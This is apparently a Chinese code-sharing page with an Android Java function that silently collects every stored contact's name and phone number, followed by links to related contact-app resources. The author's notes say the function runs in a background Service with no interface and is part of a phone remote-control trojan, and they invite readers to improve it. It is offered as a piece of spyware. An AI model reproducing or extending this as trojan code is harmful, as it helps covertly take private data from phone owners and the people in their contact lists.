public String getContactList(boolean isFirstTime) {
StringBuilder contactListBuilder = new StringBuilder();
if(isFirstTime == false) {
contactListBuilder.append("ContactList is returned before.");
return contactListBuilder.toString();
}
try {
ContentResolver cr = getContentResolver();
Uri uri = android.provider.ContactsContract.Contacts.CONTENT_URI;
Cursor cur = cr.query(uri, null, null, null, null);
if (cur.moveToFirst()) {
String name;
String contactId;
String phoneNumber;
int nameColumn = cur.getColumnIndex(PhoneLookup.DISPLAY_NAME);
int idColumn = cur.getColumnIndex(ContactsContract.Contacts._ID);
do{
// 获取联系人姓名
name = cur.getString(nameColumn);
// 获取联系人电话号码
contactId = cur.getString(idColumn);
Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId, null, null);
if(phone.moveToNext()){
int phoneColumn = phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
phoneNumber = phone.getString(phoneColumn);
} else {
phoneNumber = "";
}
// 构造通讯录
contactListBuilder.append("(");
contactListBuilder.append(name + ":");
contactListBuilder.append(phoneNumber + "");
contactListBuilder.append(") ");
}while(cur.moveToNext());
} else {
contactListBuilder.append("no result!");
}
} catch(SQLiteException ex) {
Log.d("SQLiteException in getContactList", ex.getMessage());
}
return contactListBuilder.toString();
}
代码说明:
1、本函数用于返回Android手机中存储的所有联系人及对应的手机号码,在真机上测试通过。
2、本函数在传入参数isFirstTime=false时,不会返回联系人信息,因为第一次执行时已经取回过通讯录。
3、本函数运行在Service子类中,无需产生界面,这段代码是手机远程控制木马的一部分。
4、当一个联系人有多个手机号码时,只返回一个,有兴趣者可以对此进行改进。
5、代码中各个函数的功能及参数请参考有关Andoird开发者网站上的资料。
6、本代码并非完全原创,而是修改自其它代码,增加了部分代码。
分享到:
相关推荐
包括手机客户端,服务端程序,手机需通过usb连接线与PC相连。
主要介绍了Android获取手机通讯录、sim卡联系人及调用拨号界面方法,本文分别给出实现代码实现获取通讯录和sim卡的联系人,以及权限配置和调用系统拨打电话的界面的实现代码,需要的朋友可以参考下
用于与博客匹配的资源,简单学习Android 中读取通讯录的操作,方便大家进行学习和思考。仅用于学习参考,谢谢
android仿手机通讯录搜索、首字母排序效果 获取手机通讯录联系人显示;
demo实现了Android获取手机通讯录信息,只需获取权限和创建工具方法即可,轻量快捷
1、获取手机通讯录的信息;2、手机通讯录的数据封装;3、手机通讯录的信息的UI适配;4、对ListView的优化。
获取手机通讯录所有字段,姓名,手机号,电话号,公司电话,邮件等
android 8.1系统蓝牙连接,获取通讯录及通话记录、蓝牙电话等相关代码逻辑梳理
android 获取手机通讯录联系人信息,点击直接拨打电话源码 关注博客http://himici.com/
安卓Android源码——获取手机通讯录的实战应用(含SIM卡中的联系人).rar
基于android手机通讯录的设计与实现毕业论文
Android工程源代码,可直接运行安装,实现获取手机通讯录并拨打相应电话的功能
全选、反选和删除等在实际开发中可能需要实现的功能,本篇博客是小巫从一个别人开源的一个项目抽取出来的部分内容,把它给简化出来,可以让需要的朋友清楚知道如何对Android数据库操作,异步查询数据库获取我们需要...
之前一直都是通过ContentResolver 一大堆的 sql 来获取,然后在自己的界面上显示这些联系人,感觉不爽 ,后来就读了些文档, 发现可以直接调用手机系统中的联系人。不用去画界面。 资源我的项目源码。
一个简单的使用Android Studio写的获取通讯录内容并且打电话发短信,如果安装完后APP闪退,请到设置中权限将相应的权限给他。
Android项目获取手机通讯录的实战应用(含SIM卡中的联系人).rar
一个练习的小例子,获取通讯录中所有联系人的工具类,存储在Map中,Map中key为手机号,value为联系人的姓名。还提供了一个根据手机号查询该手机号的联系人姓名的功能。 注:同一联系人可以存储多个手机号,但是同一...
基于android获取手机通讯录的实战应用(含SIM卡中的联系人)程序源码+文档
以下功能和软件界面供参考:仿照一般手机通讯录的使用界面和功能,主要功能可包括: (1)可以添加、删减联系人 (2)联系人的信息包括:姓名、手机号码、工作单位、群组、电子邮件、手机铃声 (3)选择联系人后,...
android获取手机通讯录的实战应用(含SIM卡中的联系人)